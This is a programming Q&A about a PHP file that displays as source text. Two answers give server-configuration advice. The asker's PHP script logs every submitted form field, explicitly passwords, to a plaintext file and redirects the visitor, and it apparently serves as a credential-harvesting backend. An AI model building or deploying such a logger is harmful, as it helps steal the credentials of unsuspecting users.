user2955204
user2955204

Reputation:

Why does it display php as text?

i know this question has been asked befor but i really didn't understand anything out of the answers. i don't know much about php i just wanted to connect my html website into a php file that will save all the password into a text file. but when i enter a random password and it directs me into the php file its just the source code on the browser. i obiously have php instaled (on my computer, i still run it on my computer befor i upload it to the server) this is the php source code:

<?php
header ('Location: secret :) ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value)
 {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Upvotes: 0

Views: 195

Answers (2)

Braders
Braders

Reputation: 445

You sugest you have php installed but it appears it is not set up correctly for your system. Rather than downloading php directly I would advise beginners to use an install package such as xampp. This stands for: - (x)Cross compatible - (a)pache - (m)y SQL - (p)hp - (p)erl by including all these in the package or means you can get started quickly with a full server, and can use databases and/or apaches features.

Once your package is installed ensure You are directing to the page correctly.

  • firstly files need to be saved in the correct folder; this is usually htdocs or www within your packages folder
  • secondly, you need to start the server. For xampp a controll panel is provided for this. For pure php's built in server use the command lune
  • type the correct location in the address bar. Rather than typing a fixed computer address you will need to use localhost (or 127.0.0.1). This will load the page with your Local server

Upvotes: 0

Salman
Salman

Reputation: 9447

You'll need to add php module in your web server's configuration file

If you're using Apache HTTP server on Windows, open httpd.conf and add the following lines

# 
LoadModule php5_module "c:/php/php5apache2.dll"
AddHandler application/x-httpd-php .php

# configure the path to php.ini
PHPIniDir "C:/php"

Read more here about installing PHP on windows

For Linux, add this line

LoadModule php5_module <path_to_php>/libphp5.so

Make sure you set correct path to libphp5.so file

Upvotes: 1

Related Questions